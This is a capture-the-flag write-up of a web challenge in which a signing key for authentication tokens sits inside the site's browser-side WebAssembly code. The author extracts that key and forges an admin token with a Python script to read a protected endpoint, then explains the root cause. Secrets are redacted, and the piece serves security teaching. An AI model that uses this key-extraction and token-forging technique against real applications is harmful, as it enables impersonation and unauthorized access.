Pesticide

May 18, 2026

Pesticide

Overview

Pesticide was a web challenge against Monsatan’s supplier portal at supply.monsatan.ctf. The application exposed a low-privilege login, a Rust/WASM frontend, and an admin-only API route.

The core bug was architectural: the server returned an unsigned JWT skeleton, and the browser-side WASM signed it locally with an embedded HS256 key. Extracting that key allowed forging an admin token and accessing the protected flag endpoint.

Concrete credentials, signing keys, forged tokens, and the final flag are redacted in this public version.

Challenge Context

The target redirected to a login page:

curl -i -sS "http://supply.monsatan.ctf"

The login page loaded a JS/WASM frontend:

/pkg/monsatan-orders.js
/pkg/monsatan-orders.wasm

The form posted to a long API path:

/api/login9281767931185834753

Authentication Flow

Logging in with the provided employee account returned something that looked like a JWT, but it only had two parts:

<base64url header>.<base64url payload>

Decoding it showed a normal HS256 header and a payload with the employee subject:

{"alg":"HS256","typ":"JWT"}
{"sub":"ajacobs@monsatan.ctf","exp":1778956566}

There was no signature. That meant the server was not issuing a complete authenticated token.

Browser tracing showed what happened next:

  1. The browser submitted the login form.
  2. The server returned the two-part unsigned token.
  3. The frontend stored a new token in localStorage.
  4. The browser requested /api/flag with a three-part signed JWT.

The employee account was denied with:

Access denied. The flag can only be read by admin@monsatan.ctf.

So the frontend was definitely transforming the unsigned token into a signed token client-side.

Frontend Recon

I downloaded the frontend assets:

curl -sS "http://supply.monsatan.ctf/pkg/monsatan-orders.js" -o monsatan-orders.js
curl -sS "http://supply.monsatan.ctf/pkg/monsatan-orders.wasm" -o monsatan-orders.wasm

Useful strings in the WASM included:

/api/login9281767931185834753
/api/flag
monsatan_token
Access denied. The flag can only be read by admin@monsatan.ctf.
No session token found
Your session token is invalid or has expired.

This confirmed that /api/flag was the protected route and that the browser stored the session token under monsatan_token.

Reversing The WASM

I decompiled the WASM:

wasm-decompile monsatan-orders.wasm -o monsatan-orders.dcmp

The code path that wrote monsatan_token showed HMAC-SHA256-like behavior:

  • XOR key material with inner and outer pad values
  • hash the JWT bytes
  • base64url-encode the digest
  • store the resulting three-part JWT in localStorage

That confirmed client-side HS256 signing.

Extracting The Signing Key

The decompiled output exposed a static data segment used by the signing routine. The real 32-byte secret is redacted here:

[redacted embedded HS256 key]

Once that key was extracted, forging arbitrary JWTs became straightforward.

Forging An Admin Token

The protected API checked whether the token subject was admin@monsatan.ctf. I generated a new HS256 token with that subject using the embedded key:

import base64
import hashlib
import hmac
import json

secret = bytes.fromhex("<redacted hex key>")
header = {"alg": "HS256", "typ": "JWT"}
payload = {"sub": "admin@monsatan.ctf", "exp": 1778959999}

def b64(obj):
    return base64.urlsafe_b64encode(
        json.dumps(obj, separators=(",", ":")).encode()
    ).rstrip(b"=").decode()

msg = f"{b64(header)}.{b64(payload)}"
sig = base64.urlsafe_b64encode(
    hmac.new(secret, msg.encode(), hashlib.sha256).digest()
).rstrip(b"=").decode()

print(f"{msg}.{sig}")

The generated admin JWT is redacted:

[redacted forged admin JWT]

Retrieving The Flag

With the forged admin token, the protected API could be queried directly:

import requests

token = "<redacted forged admin JWT>"
r = requests.get(
    "http://supply.monsatan.ctf/api/flag",
    headers={"Authorization": f"Bearer {token}"},
)
print(r.status_code)
print(r.text)

The response returned the admin identity and flag. The concrete flag is redacted:

{"username":"admin@monsatan.ctf","flag":"[redacted pesticide flag]"}

Root Cause

The application broke the JWT trust model:

  • the server did not issue a complete signed token
  • the client received trusted claims in an unsigned token
  • the frontend WASM contained the HS256 signing key
  • the browser signed the token locally
  • authorization depended on claims that any user could forge after extracting the key

Impact

Any user who could download the frontend assets could extract the signing key, forge arbitrary subjects, impersonate admin@monsatan.ctf, and call admin-only APIs.

Takeaways

JWT signing keys must never live in client-side code. The browser is hostile; it can inspect WASM, extract static data, and replay the signing logic with modified claims.